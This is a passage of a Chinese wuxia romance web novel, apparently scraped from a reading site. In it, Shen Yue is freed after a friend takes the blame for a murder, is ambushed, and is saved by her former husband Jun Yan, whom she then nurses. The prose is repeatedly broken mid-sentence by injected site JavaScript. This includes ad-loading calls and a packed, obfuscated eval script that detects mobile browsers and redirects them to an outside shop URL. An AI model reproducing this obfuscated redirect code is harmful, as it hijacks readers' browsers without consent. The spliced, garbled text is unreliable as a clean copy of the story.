“你相信我?”无望之时,来自陌生人的善意颇叫人感动,她不由卸下了一分心防。 “只是你救死扶伤,那样在意别人的性命,却并不同等地在意自己的性命。若我猜的不错,你是准备放弃了?” “我又能怎么样呢?该说的都已经说了。” “庭审过后他们也同样留下了我,说我也有嫌疑,但我那晚一直在台上演戏,什么都不知道。古往今来从没有一桩案子,能让凶手逍遥得一点正确的线索也不能留下,老实说,我怀疑这个凶手上面有人。现场留下来的所谓脚印那些证据,不过都是故意做出来害你的。这些若是没有人配合,很难做到。” 小陶观察着她的神色说:“庭审的时候我没说这些,是因为有些话不能拿到台面上来说,否则我的脑袋就提前落地了。有狐姐姐人真的很好,她忽遭横祸,我很替她难过。沈姐姐,你是有什么仇家吗?” “仇家……”君琰? 她嘲讽地笑了笑。 小陶倒并不在意她的反应,继续说:“这件事总得有一个人顶罪,否则一直不能结案,会影响到他们那些人的官途,他们不会放了我们,我们也斗不过他们。即便姐姐是星月阁的人,从商者遇到官身,也得让上一步。” “是这样,所以……” “所以这个凶手让我来当吧。”小陶忽然看着她,目光灼灼:“让我当。” “……什么?!” “沈小姐,也许连你自己都不记得了。”小陶微笑着说:“疫情突发的时候,你是不是悄悄从星月阁跑出来,救了很多的人?那时候我父兄都在街头染病,他们说是一个蒙面姑娘救了他们,后来疫情过去了,我们找人千方百计地查,终于知道了那名大夫原来是你。不过你既那样做,想必是不想被人知道的,我们就也没有声张此事,只是万万没想到……之前在公堂上,我便知道是你了,恩人!” 说着眼眶一热,竟向她跪下了。 “这是做什么,快起来!”沈月忙去扶她。“就算是这样,也没有让你去顶罪的道理,谁的命不是命?那凶手既想嫁祸的是我,便与你无干。” “若不是你,我父兄早已病死街头,我们家欠你恩情,刚好得此机缘,让我报答恩人,又有何不可?我是个连生计都困难的人,平时也只能唱唱戏,死了也不打紧,你不一样,你活下来,以后还可以继续行医救人,救更多的人!” “不能这么说” “沈小姐!”小陶打断了她的话,“其实我想这样做,也不光是为了报恩。你若还能出去,能否帮我一件事?” “什么事?” “去城东找一个人,帮我拿一样东西,去送给狗儿。”她说着把一张契条塞给她,“狗儿很想要这样东西,我一直想送他,却办不到,那人是需要物品去交换东西的,我没有钱。沈小姐应该有很多钱吧……” “这个容易,可是小陶……”她背过身去,话还没说完却又被打断。 “恩人,我不想看着你就这样放弃自己的命。万望你,出去后代我完成遗愿!”小陶忽然朝她背后走过来,以迅雷不及掩耳之势,抬手就是一掌! 意识昏昏沉沉的,再睁眼时已是两天后的清晨,阳光十分刺眼。 “小姐醒了!”静儿熟悉的声音传来。 沈月恍然一惊! 她这是,回到星月阁了? “静儿!那桩案子怎么样了?!” “小姐说那个呀,唉,这几天可把我们都急坏了,阁主到处找人却也说不上话。案子,后来真凶自己认罪伏法了,小姐就被无罪释放了,阁主派人去接您的。” “……那不是真凶!”她当即从榻上下来,慌乱道:“是小陶……人在哪儿?人还在吗?” “凶手已经被斩了,小姐。” 静儿一句平静的话却让她的心降到了冰点。 “不会,不会就此罢手的……”她自语着,既然这场局本就是针对她来的,现在她没有死,幕后之人岂会轻易罢手?怕是小陶也白死了。“静儿,我要去城东一趟!” 小陶已经不在了,那个遗愿她要去替她完成。 “走过路过的都来看看哦!” “玲珑塔主今天只要玉!” “要玉,要玉!” “算了没钱。” “散了散了。” 老远就听到声音了,她跑过去,这才知道小陶说的地方原来是玲珑塔——城东一处专做交易的地方。 她走上前去,拿出契条…… “哦,您请!”站在门口的侍女将她引了进去。 狗儿与小陶好像是戏台上的生旦,他们之间当是有情的。小陶为自己顶罪人已经没了,她的意愿她一定得替她完成。 拐了好几玩到弯,进到一间暗室里,四面的架子上摆满了不知名的奇奇怪怪的东西,玲珑塔主坐在上首正中间,戴着一张花面具,开口时声音暗哑:“你是来拿东西的?” 那张契条此时已由侍女交到了他的手里,看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过了,便发出一声笑:“你是代她来的吧,她可还差一样东西,才能从我这里拿走想要之物。” 沈月回想起小陶说的话,点点头,“请问还差什么?” 侍女拿着一个本子过来了,递给她。“你有这个吗?” “……玉坠?!”沈月霍然睁大了眼睛。 玲珑塔主今天要的东西是玉,刚好这上面画的玉坠,和她从前的那个那么像……不,不能说像,只能说一模一样! 可是,自己那个玉坠已经被君琰摔碎了。 “你有吗?”塔主的目光似正透过那张花面具凝视着她。“有就拿来,本人将交易即刻兑现。” 她嘴唇颤了颤,“可以是别的东西吗?一定要玉坠?” “一定要,而且得和图上画的这个一模一样。”侍女道:“若是没有,就请回吧。” “这……” “请吧!”侍女的语气已不容她再待下去。 “那请问,你们过几天还会换别的东西吗?” 侍女笑了笑。“这笔交易,只要这个玉坠。” 沈月:“……” 事情怎就这么巧? 她闷闷地走了出去,还没及想明白,出来时却发现整条街都空了,方才还熙熙攘攘的街道上,人都不知去了哪里,心中顿生不详的预感…… “唔!”一声闷哼从身后传来,她扭头一看,只见是自己的两名暗卫被杀了! 大感不妙,她拔腿就跑! “少阁主。”一个陌生又好听的声音忽然传来,身后,有人押住了她,带着她一起轻功飞到了屋檐上。 “你是什么人?!放开我!” “别挣扎了,没用的。我劝你还是老实一点。”那人蒙着面,她扭过头只能看见一双锐利如鹰的眼睛。 “放开她!”一个声音忽从下面传来,她低头却看见了一个熟悉的身影。 君琰带伤赶来,指着她身后那个蒙面人,双目充血——“你,马上放了她!” 九爷竟亲自来了,看来沈月在他心中的分量着实不轻啊。蒙面人心下忖着,九爷即便负伤,自己怕也不是他的对手,只是…… 忽然一笑:“今儿来的人不止我一个,这丫头的命可比我们几个的金贵多了!主人要她,我们几个死了也就死了。” “听着!胆敢掳我妻者,本王誓将其幕后之人扒皮彻骨,言出必行,有如此箭!” 话音刚落,一支箭“啪”地被他从中折断,吼道:“放人!” 他一直让属下跟进着她的动向,得知她被放、又得知她去了城东玲珑塔、再得知城东有异动,他便不顾属下劝阻赶来了。 沈月看向君琰的目光中,多了几分疑惑…… 还是头一回听见他在外人面前用“我妻”来称呼她。 这般恨不能将绑架者剥皮抽筋的眼神,不是能演出来的,他这般着急的模样,也着实又让她心绪有些复杂了起来…… 蒙面人若有所思地看了他一眼。 他知道九爷的威胁向来不只是说说而已,可手里这个人又实在太重要了。她背后还有星月阁和九公子,这一次放虎归山,下一次就再难抓住。 想着一笑,“九爷,得罪了!今日你休想得逞所愿!” 说着,带着她,一个轻功飞走了。 君琰见状愤恨不已,不顾伤势即刻追去! 46. 死生 九公子的轻功更快,那押着她的人根本不是对手,眼见就要被追上了。 “给你!”他忽把人一抛,她跟着摔了出去,君琰飞身上来稳稳接住了她。 紧接着却听见西南角传来一个声音:“——放箭!” 她被他护在身前,能感觉到他手臂的颤动,没有觉察到他是如何出剑的,只听见耳边“哗啦啦”一阵箭矢被打落的声音,还有抬眼时能看到的,向他身后飞来的漫天箭雨。 眼圈忽然红了! 她不知自己为何被针对,也不知他为何要过来保护她。他们彼此之间,身份早已明了,她不能再受仇人恩惠了! 挣扎着要推开他,却被他察觉,手臂大力将她圈得更紧。 “别乱动!” 四堂主在这时赶过来了,纷纷加入战局,站在了他们周围的四个角。 “主人只说抓一个洛夭夭,却没想到还有意外的收获!若此次能将九公子也一网打尽,那可是意外之喜啊!”上风处人的对话传进了君琰耳中。 这些人知道沈月的真实身份……这应该就是他们对她下手的原因吧?如此看来,他们更是留不得,只是自己如今处于劣势,能护住她已然不易…… “去,上去!”放箭的人中有人喊话,又来了一排射手,占据了更高处,齐齐瞄准了下风处的人。 “无论怎样,一定要掩护公子!”无殇咬牙道。 “我们在他们射程之下!”陆云一面打着箭矢一面说。 玉冰:“不能向前逃,会形成靶心,但一直待在这里肯定也不行!” 君琰当机立断:“向高处去,上旁边的酒楼,快!” 耳边风声呼啸,夹着血腥味,夹着箭矢飞过的流响,她被他紧紧揽在怀中不能动弹,他一手抱着她,一手挥剑挡箭,飞上那酒楼——虽还是不如放箭者站得高,但情况显然比刚才要好多了。 他眼疾手快地将她推到一个墙角落里,以剑撑地,面向她、背对外面站着,支起厚实的披风做成屏障。 “唰”地一声响,有几支箭穿透了披风,射在脚边的地板上,她看见鲜血顺着他的手腕、嘴角流下,能想见到必是有箭射在背上了。但他却一动不动、屹立如山,脸上神色坚定,看不到什么痛楚,仿佛被箭射中的是别人而不是他,与大婚那日她捅他时痛苦的神情,完全判若两人。 能承受万箭之痛而面不改色,却不能承受她捅他的一刀?只是因为这两次施与他伤害的人不同? 此处弓箭手的射程已远了,飞来的箭不足以对他穿胸而过,最多只是入背一两寸,可…… 太多了。 这人真的不痛? 四堂主守在外围,为他挡去了部分箭矢,此刻他的目光终于重新落在她身上,不再滚烫如火,而是温热从容。 就好像,她从前并未认识过真正的他。 以肉身作盾,护她周全。 她皱着眉,没再抗拒他的保护,脑中一片混乱,想起了他们所有的从前…… 负她真情,亦悔之肠断;杀她亲人,亦以命救她。 是仇人,亦是恩人。 世界上怎么有这样的人呢? 这让她往后……还怎么对他复仇?! “君琰,你不想活了吗?!” 他笑看着她…… 鲜血已流了满地。 “为你而死,是我之幸。” “公子,再坚持一下,我们的人马上就到!” “该死!”放箭的头头啐了一口,“今日若不将他们解决了,来日放虎归山,以九公子的脾气,我们必然完蛋……那个女的流血了没有?!” “回首领,洛夭夭被九公子护得太好,好像连皮都没擦破!” “什么?!” “公子,我们的人来了!您带沈小姐先走,我们断后!”傅从的声音透过箭矢声传来。 “不好,他们的援兵到了!”那头头一跺脚,“别让九公子和那个女的跑了!” “我听说九公子前些天才刚受了伤,重伤未愈又跑出来折腾,且看他还能折腾到几时!” “追!” “大道上危险,山中有茂林遮挡,路难走,往山上走!”她说,“东面就是!” “好!”他紧紧揽着她。 这是他们第二次一起逃亡,上一回,是她为他挡的箭,这一次…… 身后人紧追不舍,他已负伤,旧伤未愈又叠新伤,无力再以一敌千。 “那边小路他们上不来,且是这座山的最高处……”她在脑中飞速思考着,“因为荆棘丛生。” 他闻言一凛,“上来!” “什么?” 他蹲下身,“上来,快点!” 随后,他背着她,走上那条满是荆棘的小路…… 她被他托得老高,一点皮都没破,低头却看见荆棘划破了他的衣服,刺进了肉里,留下一地斑斑的血迹。 好了,这回该安全了吧…… “轰……”他脚下却被绊了一跤,向前摔了下来,连同她也被丢了出去,滚出几步远,心头骤然一紧!伸出手想要抓住什么,却只是一片平地,滚出的速度太快,快到让她来不及反应…… “诶!”他伸手及时拉住了她,随即用力将她往回一拉,自己却在这一瞬间与她交换了位置,跌下去…… “君琰!”她伸手紧紧抓住了他的手,用尽了毕生力气,“抓紧我,别松开!” 这里是一处悬崖……他唯一的支点,便是被她握住的那只手,整个身子都悬在了半空。 他的身子在一点点下坠,抬头,看向她,忽然露出了笑容。 好像从她急切的目光里,重新看到了一点点在意…… “为什么拉我?我死了,你不正好报仇吗?” 她冷笑了一声,泪水却夺眶而出,“那也应该是让我杀了你!你必须,必须死在我的手上!” 他笑了,“我现在这样是为了救你,难道不算是死在你手上?” “你……”她又怒又笑,咬牙道:“你以为我是像你那般忘恩负义的人吗?你刚刚才救了我,我转眼就弃你不顾?!” “放手吧。” 眼前是少女熟悉的目光,他忽然觉得,死了也没多大关系了。 “再这样拉着,你也会被牵连着坠下来。夭夭,你拉不住我的。” “不许放!”她此时已经感觉到吃力了,整个人都趴了下来,眼中露出了恨意还有渴求,“你若是敢放手,我便不再恨你!我会彻底忘了你,再转头嫁给旁人!” 他闻言有一瞬的失神。 “是吗……” “是!我说到做到!” 他忽然笑了,“这样,也好……” “你说什么?!” 她确实拉不住他,身子在一点一点地向前滑…… “我今日身死,也算是让你大仇得报。你嫁给司云吧,他对你挺好的。不像我,总是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 欺负你,骗你……夭夭,你要活下去,去拥抱新的人生,把我这个仇人忘了吧。别让仇恨,影响了你本该幸福的生活……” 他此刻的神情平静而安宁,全然没有濒死的绝望,与前几次她报复他时的悲痛形成了鲜明的对比…… 君琰抬起另一只手,笑着,用力地将她攥着他的指头一个一个地掰开。 “不要……不要!”她惊讶地看着这一切,却根本无法抗拒他的行为,直到他们相握的最后一个指头,也霍然松开了。 “君琰!”她怔怔地伸出手,看见他很快地坠落了下去…… 崖底有什么,她不知道,等待他的又会是什么?是活下来残废的后半生,还是无尽黑暗的地狱? 心头一慌,她一刹间感觉呼吸都要停止了,转身顺着荆棘路跑下去,也不顾双腿被荆棘划破。他那四个属下应该会来的,她要找到他们,让他们马上去崖底救人,救人! 上回跌落山崖他不是没死吗,这一次,一定也,一定…… 风声呼啸着,脑中那些让她仇恨的画面消失了,转而出现的是曾有过的美好……他也曾温柔捧着她的脸,也曾轻柔吻去她眼角的泪,曾不顾生病,透支了内力来给她出头,曾抱着她摘树上的果子,方才,他也以肉身为她作盾,也负伤背着她,走过了整片荆棘丛…… 为什么他们之间会变成这样? 眼泪一经流出,就很快被风吹干了,小脸上黏糊糊的…… “是沈月!”忽然有熟悉的声音传来。 她抬眼看到了几个熟悉的人影,急忙跑过去:“你们快去崖底,君琰掉下去了!” “什么?!他又……” “快去!” 四大堂主拔腿便走,只有陆云留了下来,和她两人面对面站着。 刚好,她也从他的眼中看到了杀意。 “陆公子,”她向他走去,“你杀了我吧。” 她竟自己提出来,倒也让他颇为意外。 “我是想杀了你,给公子报仇!如果不是为了救你,他就不会……” “他若没命活着,我陪他同去便是。”她闭上眼,“动手吧!” 陆云刚刚举起剑……至半空却又犹豫了,僵在那里。 这个女人心狠如斯,几次算计,她不是恨公子、想尽办法要报复他吗?他死了她不是应该高兴吗?为什么又跑过来报信,又为什么会想陪公子一起去死? 阴谋,一定是还有什么阴谋! 可是一看她这副手无缚鸡之力的样子,又觉得自己是揣测是多余。此处只有他们两人,他真要杀她的话,她毫无还手之力。 她和公子之间,或许并不是自己从前所理解的那样。 公子从前那般对她是为何,她现在如此前后矛盾的行为又是为何,自己这个做下属的,或许知道一些内情,又或许是什么也不知道,有时候未知全貌就做出的决定,事后再看,总会觉得自己当初蠢得无可救药。 他狠狠放下了剑—— “我不杀你!” 沈月睁开了眼睛,“我不怪你,是我想自尽,但没这个勇气,所以想请你帮我。” “我不会帮你的!”陆云恶狠狠地说——“你给我活着,活着!你若伤了一根头发,公子泉下有知定不会放过我!” 陆云脑海中忽然闪过了很久以前的一帧画面…… 沈月当初假死的时候,公子也是这般无望的神色,坐在地上说——“杀了我!” 47. 爱恨 沈月脑中一团乱麻。 嘱咐了下人若九公子那边有消息就立刻来报,随后回到自己房间。 从被牵涉进案子里开始,她就被人盯上了,去城东的玲珑塔,又遭人暗算,若非君琰相救自己此刻已经凶多吉少。可这些人为什么一定要盯着她?她身上有什么值得被人惦记的东西吗?难道对方只是九公子和星月阁的仇家那么简单? 又或许,早在这一次的事情之前,她就已经被盯上了…… 她看向外面的天空,云朵飘忽不定,恰似她此刻的心。 有些悲伤,有些忐忑,她洗手去小厨房做饭。 很久没有自己下厨了。 从景王府出来以后她成了沈小姐,万事都有下人帮着干,不必她亲自动手,却比从前山野间长大的洛夭夭少了许多乐趣。禅宗说,饥餐困眠,吃饭时不肯好好吃饭,百种须索,睡觉时不肯好好睡觉,千般计较,都不过是痴想。 可她已然成了这样的一个痴人、俗人。为爱痴,或为恨痴,这辈子也不可能达到夫子口中禅宗的境界了。屋外的小野花在夕阳下白紫交映,显得唯美且哀伤,恰似一种心绪的零落,在生长与凋残之间。一年三百六十日,她曾用三百六十日来爱他,后来用三百六十日来恨他。 “小姐,有消息了!”静儿突然闯入的声音打破了此刻的宁静,“小姐,是九公子的消息!” “怎样?!”她即刻放下了手中的活。 她已经想好了,若他真的遭遇不测,那她…… “人救回来了,就是伤得很重。”静儿说道:“小姐要去看望他吗?” “哦……”仿佛心中一块大石落地,她忽然笑了,一时不知该说什么好,背过身,口中喃喃:“没死就好,没死就好……静儿,备轿!还有——先前说减掉四大堂主手下眼线的事儿,停下!” 淅沥的雨将院前芭蕉叶打得绿油油的,一顶小轿在院门口停下,一个小丫鬟打着伞提前等候,另一个丫鬟搀着她从车里下来。 她会来陪着他,就像上次陪着他一样。 四堂主已经不知道该说什么了,没人拦她,她进去了。 “伤得太重,能否醒来要看造化。”须发斑白的大夫叹了口气,开出了方子,“别的老夫也不能说什么啦。” 大夫提着他的药箱走了,她在他身边坐下来。 从天黑,到天明,又到天黑。 这一回他没有在昏迷中唤她,似乎已失去了那样的力气。她握着他的一只手,在他旁边枕着胳膊睡去。悉心照顾他,一如从前在王府里那样。 在他失却意识的时候,他先前所渴求与怀念的一切,短暂地回来了。 后天就是她的生辰了…… 又长一岁,但这一岁的芳诞里,却可能不再有他了。 如日方中的,如月方圆的,如春水方漪沦着的盛年,被爱恨占满了,执念已深,深不可拔。繁华终将随年光消散,留下一地荆杞,而爱恨却不能,因为爱恨,永不消弭。 三天后他终于醒了。 睁眼便模模糊糊地看到了她,她正一手撑着脸,在他身边小憩,心中有些不可置信,他缓缓抬起了手,却在即将触到她脸庞的时候,停在了半空。 她竟然来了……自己竟然也没死…… 夭夭,夭夭怎么会来……她竟还愿意来,竟还愿意这样坐在他的身边。 喉头一痒,他咳嗽了起来,这下将她弄醒了。她睁大了眼睛,一瞬露出了笑容:“你醒了?!” 老天保佑! 她感念万分,伸手握住了他悬在半空僵着的那只手。 慢慢地,将那手放到自己胸前。 接着,露出了一个有些怅惘的神情:“不能再死了,知道吗?” 他不由发笑…… 她这话说的,好像他已经死了很多次一样。 不过仔细想想,似乎也没错。 “你一直都在这里?”他的语气里充满了欣然,有些受宠若惊,也有些担忧,“累了吧?快回去歇着吧……” 而后却好似看见了她脸上的泪痕。 他的声音低了下来,变得极轻,微哑着:“小笨蛋,这就哭了?” 她一瞬睁圆了眼睛。 这个久违的称呼,却让她鼻头一酸。 不打算多回答他,他起身刚要离开,又听见他在自己身后嘱咐说:“有不好惹的人来了,这些日子你要格外小心。” “是谁?”她问。 “我亦不知。但,我会尽快帮你找出来的。”他又咳嗽了起来,“你回去吧……” “嗯。” “……等等!” 他又叫住了她。 她回身。 “今天……”他躺在榻上,面色苍白,那一双幽深的眼睛亮了起来,“是不是你的生辰啊?” 她一怔。 他才刚醒,这都还记得? 想了想,不置可否道:“你先好好修养吧,别再费神了。” “夭夭。” 才刚往外踏出一步,又被他的声音绊住。 “以前你每岁的生辰,我都要送你一样东西,除了去年那一岁的我缺席了,今年要补上这两次的。” “不必了吧。”她回头看他,“我现在和以前不一样了,不是非要过生辰。有没有人送礼,也没那么重要了。” 他沉默一瞬……“是啊,沈小姐想来是不缺礼物的。自然,也看不上我送的东西了。” “不是这样。”她有些无奈,“这样吧,过些日子等你把伤养好了,就准你补我生辰礼,如何?” 他闻言眼睛一亮,瞬间变得像个孩子般天真:“说好了,不许耍赖哦!” 她无奈地轻笑一声,正转身离开……回首又问:“你的生辰又是哪一天?” 空气里陡然安静。 “我没有生辰,也从来不过生辰。” “是没有,还是不愿记得?” “这些事说来话长,以后再讲吧。如果你愿意听的话,我愿意将所有的事都告诉你。”他露出了温柔的笑意,“生辰这东西,我不过,我只陪你过。” “哼……”她又背过身,“你先把伤养好了再说吧!” “姚寂……”人走了,他唤来属下,似乎心情很好,“你说,她是不是肯原谅我了?” 姚寂沉着脸……“这个,属下怎么知道?” “我从来不是个轻言放弃的人。只要她肯给我一点点希望,我都绝不放弃。”他苍白的脸上浮现出笑意,“帮我去买几样礼物吧。” 翌日她又来了。 带了一个药箱,还有一些别的补品。 他刚醒,看到她又来了有些惊喜,“你是来……给我看诊的?” “你这儿用不着其他大夫了,我就是大夫。”她自信满满地将东西都放下。 “那你住我这里吧,方便看诊,我让人将西厢房给你腾出来。正好这段日子不太平,你住在我这儿我也好叫人保护你。” 话刚说完,“西厢房”三个字又无意间刺痛了彼此的神经。两人相对静默了一会儿,她率先笑着打破了尴尬:“景王殿下,别忘了给我的诊金呐。” 他面露喜色,“这个自然,你想要多少,我就给多少。” “你伤得很重。”她搭着他的脉搏,“少说得躺两个月。” “……两个月?!” “嗯。” “可如果有什么事……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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冷哼了一声,“只用‘坏蛋’来形容你这个人未免也太简单了。” “那还有什么?”他看着她,目光灼人,“不择手段?阴险毒辣? …… 忘恩负义?” “您给自己的评价倒是没那么偏颇嘛。”她阴阳怪气地说。 他一时不知该作何反应,叹了口气:“不管怎么说,玲珑塔你不要再去了。” 她即刻拒绝,“这是小陶的遗愿,我一定会想办法弄到对方要的那个东西,再帮她……” “那我让人代你去好不好?” 她叹了口气,“你别管了。” “我怎能不管?夭夭,有人盯着你在,你也知道。眼下我身受重伤,你若再有个什么,我没法护你周全。至少,至少你答应我,为我诊治的这段日子别去了好吗?一切等我伤好了再说。” 她看了他一眼,没有答应也没有不答应,继续为他针灸。 她知道这针灸很疼。他的肌肤在微微抽搐,额上也出现了细汗,整个人却安如磐石,没发出一丝声响。 “忍不住可以出声,这样会好受一些。”她的语气柔和了些许,又从小布包里拿出一根针,“我要继续施针了。” 她就在他身边,离得这样近。有她在,他不觉得疼。 “怎么想到要过来帮我……?”一轮针灸完了,他见她打算走了,便想说点什么把她留住。 “自然是因为——”她不知怎么忽然想起了之前的事,“怕隔几日来探望又会被你拒之门外,到时怕有人会认为我沈月是忘恩负义之徒。” 他即刻捕捉到了她话中的信息,脸色一变,疑道:“我何曾把你拒之门外?” 48. 私话 她也是一讶,“贵人忘性真大,自己做的事自己都不记得了。” 他更加困惑,“你说的是哪一次?” “自然是清水河血案那一回,你帮我后受伤了,我来看你,你不见我……” “你那次来过?”他一下子激动起来,她连忙将他按住,“你别激动。” “你真的来过……”他怔怔道:“看来是他们把你挡了。” 她歪了歪脑袋,“你的属下吗?” “我怎么会不见你?那天我一直等到深夜,他们都说你没有来……” “什么?那天我也在你门外等到半夜呢,陆云说你不会见我……” 君琰一张脸黑成了锅底,“……这个家伙,他欠揍!” “公子,您叫我?”陆云刚好在这时候进来了,他好像听见里头有说到自己名字。 一进来却见屋里两个人都目光不善地看着他。 “公子,怎么了?” 他寻思着自己最近也没犯什么错吧? 那天是气极差点杀了沈月,但也不是没动手吗? “陆云,你出息了,都会欺主了。”君琰闭了闭眼,“自去领罚!” “诶?!” “往后只要是沈小姐来,无须让人通报,她自可进来见我。” 陆云听了这话才反应过来是什么事儿……敢情是那回不让她进来的事情败露了,这两人眼下正在气头上呢。 “是,公子。” 我那还不是为了你好?你靠近这个女人只会掉血!他心里这样想着,叹了口气,气呼呼地出去了。 解了一个小误会,心情大好,本想就此契机再和她多说些…… 可话到嘴边,又咽了回去。 洛氏夫妇还没有找到,事情的发展已经超乎了他从前的预设。 别的也不能和她说,不然她就会知道…… 这副欲言又止的模样却被她看出来了。“你还有什么想和我说的?想说就说,不说便罢,别这副吞吞吐吐的样子。” “我……”他顿了顿,“没有,没有要和你说的。” “哦。”她整理好了小药袋,“那我先出去帮你煎药了。” “……好。” 她走到门口,又顿住脚步。“刚才那个回答只说了部分。我过来帮你主要是因为,你负伤是因为我,所以我想还你人情——并不为别的。” 说完她就离开了。 君琰心里又是一阵失落…… 仿佛刚才才稍稍和她亲近了一点的事,全是假象与幻觉。 心好凉,凉得像一场场淅淅沥沥的秋雨。 “听雨吗?”下午她站在外面,摆弄了一番芭蕉叶,又进屋来,把窗户支开一个小缝,接着从外面端了熬好的汤药进来。 “药要先凉一会儿,现在背过身去,我帮你上药。” 他听话照做。 虽然早有心理准备,可当真看到他背后的伤口时,她还是不免心惊。即便已经过简单的处理了,看上去还是有些狰狞。那些洞,那些伤疤,便是为她档箭时候留下的。 指腹沾了药粉,轻柔划过那些伤处,他听见自己身后她轻微的喘息声,还有屋外愈发分明的雨声。“我身前也有伤……” “嗯?”抹药的手停顿了一会儿,“身前有伤,怎么了?我知道啊。” 见她好像没明白自己所指,他也不好再说下去了。“没什么,你继续吧。” 她却在这时忽然反应过来了,下手猛地一重。 “嘶——!”他不意她突然报复,疼得直抽凉气。 “老实点。”她的指腹停在那个有意按重的地方,“再和你说一遍,我是大夫,医者眼中无男女。” 他还不够老实吗?他只是想提醒她而已,并没有别的意思……他想。 药得涂抹到位,她十分耐心,他亦忍得耐心,许久后终于涂好了,她说:“先别穿,别把药又沾走了,就这样凉一会儿。” 他只好保持姿势僵在了那里…… “好了,来喝药。”过了半刻,她端起了药碗。 他乖乖地转过来。 她将药碗递给了他。 他一面喝着药,一面看她…… 她走到了窗边,看着外面的雨,想起他之前说的话。 “你说,那天一直等我到半夜?” “嗯……怎么了?” “你那个时候还没认出我,为什么会这样?”她转头看他,“你是病倒那天认出我的,还是之前?” 他这时喝完了药,将碗搁在桌上。“实话说,我第一次见你就觉得可疑,但没有信……因为夭夭在我印象里,不可能是沈月。 后来,你给我的感觉越来越强烈,我时常怀疑自己…… 那一天,你话里话外有意引我去云青山,我便更加起疑,确信你的身份是因那几个突然出现的幸存者。” “是因为他们很确认我就是洛夭夭?” “不。”他摇头,“我从来不会让别人的判断左右自己的判断。真正让我确信你身份的,是那天你的做法。 你想保全他们,又不想惹怒了我,不想让他们继续把事情闹大惹火上身,拼命也要阻止,如果是沈小姐就不会这么做,因为她知道没必要为了不相干的人惹九公子不快。和云青山有关的人不能激起她如此情绪,也不会有那样坚定的做法。那一刻我看到了从前的你,无论其他方面怎么变,你的性情还是没有变,在关键时候你无法继续伪装,会露出本来面目。 后来我越想越是这样……松萝茶和兰雪茶的比喻,就是我和你,对吗?” 她静静听他说着,神色有一瞬的怔然,似没想到这才是他最真实的想法,缓了缓,轻笑:“可有句话你说的不对,我也是沈月。” “嗯,你是。”他没有否认,“夭夭和沈月,都是你。无论怎样,最终都是要被我认出的。” 他的脸上挂着一抹似有若无的笑意。 “你不觉得你认出得晚了些吗?” “那是因为你演得太好。” “是我演得太好,不是你不愿认?” “……都有吧,我承认。你假死那天,我真的很接受不了,实在万难想象你是逃遁出去变成了另一个人,彻底将我抛下了。” “我抛下谁,也不可能抛下你啊。”——他却听她说道。 心情刚刚因她的这句话而明朗了起来,下一刻便听她继续说:“毕竟,我怎能对自己的仇人轻易释怀?” “……” “药很苦吧?”她拿了颗蜜饯过来,脸上似笑非笑,“张嘴,啊。” 他却一口咬住了她的手指。 “喂,让你吃蜜饯,不是吃我……”他那力道竟还控制得刚刚好,不疼不痒,却也让她拔不出来。“你……你松口啊!君琰,你是属狗的吗?” 他终于松了口,笑着说:“这是我吃过的最好吃的蜜饯。” “得了吧你,是我忘了,你这人是不怕苦的,算我多此一举。” “谁说我不怕苦?”他盯着她,“我不仅怕苦,还怕疼。” 她一副见了鬼的样子看着他…… “真的。”他说得一本正经。 “可是,如果你陪着我,我就不疼了。” “……” “夭夭,你别走好吗?等我伤好了,再娶你……” 沈月瞪大了眼睛。 “你不怕我再捅你个十回八回的?!” 他笑着:“那就看夭夭的心,什么时候能软下来了……我愿意等,一直到死都等。” “谁要你等?哪凉快哪待着去。”她柳眉蹙成一团儿,“再说这些话,小心我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984433|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你药里下毒,马上送你归西!我们之间可是不共戴天的关系,我不怕死,只要能叫你死,我陪着死了也不在乎。” 他忽然笑起来…… “夭夭,你和从前不一样了,但这样的你,也格外可爱。” “我说要给你下毒你还说我可爱?”她摇头叹气,走到他身边,抬腿浅浅地踢了他的床榻一脚,“你脑子被驴踢了吧?” 屋内传来了阵阵笑声……屋外,无殇和玉冰呆了。 他们没听错吧,公子重伤至此,竟还有心思和精力笑? 这个沈月到底是怎么想的,既要伤他,又要医他…… 她一出门,就看到两位堂主探着好奇的脑袋朝屋里看,猝不及防她出来了,碰了个脸对脸。 “看什么看?”她一扭头就跑走了。 “沈小姐!”天色已经暗下来了,傅从在另一边叫她。 “怎么了?”她走过去。 “沈小姐,给你看样东西。”他引她来到偏厅,取来一个匣子,打开了。 从里头泻出了珠宝的明光……傅从把匣子转向她,她一惊,将那匣中之物取出…… 竟是她被摔碎的那个玉坠! 细细端详之下,发现这是个后来做的新玉坠,除了上面没有刻字,其他的几乎都和原来那个一般无二! “这是公子送小姐的生辰礼,小姐可还喜欢吗?” 她一瞬放下了坠子,幽幽叹息……“他送的啊。” “公子找了许多能工巧匠,耗时许久才做出一个和从前几乎无差的来,只是有一点,小姐不可拿这个玉坠去玲珑塔做交换,可以吗?” 她稍稍睁大眼睛,“这是他的条件吗?” 傅从点了点头,“是。” 果然什么都瞒不过君琰。 “那我不要。”她转过身,“一个已经被毁掉的东西,有什么好找回的呢?既有了这个新的,又不让它发挥其价值,我要的还有什么意义?” 傅从不意她会这样说,一时不知该如何接话,只是道:“这是公子花了许多心思才……” “他花他的心思,我做我的选择。你把东西还给他吧!”她起身离去。 刚行至后院,从湖面上,忽然飘来了七盏莲花水灯…… 夜色下,一盏盏红光幽幽的,从湖面依此过来…… 